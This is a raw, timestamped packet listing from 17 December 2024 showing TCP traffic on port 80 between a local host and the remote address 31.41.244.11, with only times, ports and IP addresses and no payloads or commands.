Dec 17, 2024 22:06:34.812355042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.812423944 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.812603951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.812658072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.815934896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.815965891 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.815993071 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.816013098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.819356918 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.819421053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.819463968 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.819538116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.822869062 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.825360060 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.947859049 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.947953939 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.948014021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.949162006 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.949222088 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.949330091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.949368000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.951883078 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.951939106 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.951946974 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.951982975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.954611063 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.954667091 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.954741001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.955081940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.957120895 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.957201958 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.957285881 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.957326889 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.959718943 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.959774017 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.959775925 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.959815025 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.962354898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.962460041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.962490082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.962502003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.964909077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.965008020 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.965070963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.965116978 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.967675924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.967803955 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.967855930 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.970169067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.970263004 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.970289946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.970308065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.972837925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.972903967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.972934008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.972980022 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.975481033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.975584030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.975634098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.978168964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.978216887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.978216887 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.978302956 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.980814934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.980885029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.980901957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.980971098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.983325958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.983372927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.983376980 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.983460903 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.985953093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.986016035 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.986042976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.986061096 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.988555908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.988672018 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.988727093 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.991214991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.991270065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.991350889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.991435051 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.993837118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.993906021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.993938923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.993978977 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.996522903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.996573925 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.996608019 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.996651888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.999083042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.999155045 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.999190092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.999228001 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.001735926 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.001796961 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.001904011 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.001948118 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.004368067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.004416943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.004445076 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.004482985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.006953955 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.007010937 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.007054090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.008269072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.009701014 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.009764910 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.009767056 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.009800911 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.012245893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.012342930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.012407064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.014822960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.014879942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.014976978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.015017986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.017457008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.017502069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.017518997 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.017548084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.020103931 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.020159006 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.020231962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.020272970 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.022701025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.022777081 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.022819996 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.022897959 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.025357008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.025409937 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.025547028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.025633097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.028007984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.028157949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.028167963 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.028197050 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.030596972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.030648947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.030716896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.030762911 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.033273935 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.033324003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.033375025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.033418894 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.035830021 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.035907030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.036036015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.036093950 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.038527012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.038578033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.140619993 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.140650034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.140681028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.140707016 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.141962051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.142015934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.142036915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.142052889 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.144272089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.144356966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.144438028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.144438028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.146095037 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.146193027 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.146236897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.148251057 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.148328066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.148369074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.150502920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.150608063 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.150651932 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.152731895 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.152776957 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.152781963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.153400898 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.154933929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.154987097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.155061007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.155098915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.157269001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.157305956 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.157315016 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.157337904 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.159327030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.159382105 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.159401894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.159992933 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.161487103 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.161528111 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.161562920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.161637068 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.163547993 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.163597107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.163630962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.163665056 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.165658951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.165709972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.165746927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.167582035 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.167769909 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.167825937 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.169662952 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.169755936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.169806957 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.171761036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.171813011 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.171880960 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.173770905 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.173849106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.173911095 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.175932884 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.176062107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.176116943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.178055048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.178093910 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.178143024 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.180144072 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.180165052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.180200100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.180248022 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.182104111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.182183027 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.182202101 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.182229996 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.184127092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.184226036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.184283018 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.186247110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.186353922 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.186412096 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.188290119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.188344955 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.188417912 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.189415932 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.190458059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.190502882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.190615892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.190655947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.192713022 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.192758083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.192822933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.192863941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.194611073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.194734097 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.194777012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.196715117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.196836948 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.196892023 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.198656082 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.198824883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.198889971 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.200956106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.201004982 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.201014042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.201072931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.202879906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.203028917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.203083038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.205040932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.205095053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.205193043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.205239058 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.207130909 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.207431078 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.207479954 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.209058046 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.209125042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.209170103 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.209219933 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.211134911 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.211184978 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.211283922 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.211325884 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.213190079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.213418007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.213448048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.213462114 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.215420961 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.215523958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.215576887 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.217900038 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.218050957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.218110085 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.219693899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.219820023 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.219870090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.219923973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.221533060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.221586943 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.221641064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.223576069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.223628998 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.223809004 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.225016117 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.225775957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.225828886 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.225869894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.225919008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.227957964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.228013039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.228013992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.228049994 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.229796886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.229875088 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.229877949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.229931116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.231897116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.231946945 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.232009888 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.232058048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.233974934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.234025955 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.234108925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.235112906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.236327887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.236383915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.236566067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.236610889 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.238621950 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.238673925 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.238742113 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.238791943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.240550995 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.240684986 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.240732908 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.242593050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.242654085 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.242712975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.242775917 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.244344950 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.244395971 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.244421959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.244467974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.247308969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.247358084 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.247369051 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.247400999 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.332154036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.332351923 CET	80	49825	31.41.244.11	192.168.2.4
